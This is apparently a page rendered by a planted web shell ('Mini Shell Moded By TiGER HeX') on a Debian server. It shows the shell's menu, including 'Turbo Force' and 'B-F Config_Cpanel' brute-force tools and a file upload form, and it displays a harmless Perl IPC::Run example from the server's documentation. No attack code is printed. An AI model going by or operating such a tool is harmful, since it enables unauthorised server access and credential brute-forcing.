Mini Shell Moded By TiGER HeX
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
usr
/
share
/
doc
/
libipc-run-perl
/
examples
/
Linux midnightridazz 4.19.0-11-cloud-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
Upload File :
New :
File
Dir
//usr/share/doc/libipc-run-perl/examples/synopsis_scripting
#!/usr/bin/perl -w use strict; my @cat = qw( cat ); my ( $in_q, $out_q, $err_q ); use IPC::Run qw( start pump finish timeout ); # Incrementally read from / write to scalars. Note that $in_q # is a queue that is drained as it is used. $h is for "harness". my $h = start \@cat, \$in_q, \$out_q, \$err_q, timeout(10), debug => 1; $in_q .= "some input\n"; pump $h until $out_q =~ /input\n/g; $in_q .= "some more input\n"; pump $h until $out_q =~ /\G.*more input\n/; $in_q .= "some final input\n"; finish $h or die "cat returned $?"; warn $err_q if $err_q; print $out_q ; ## All of cat's output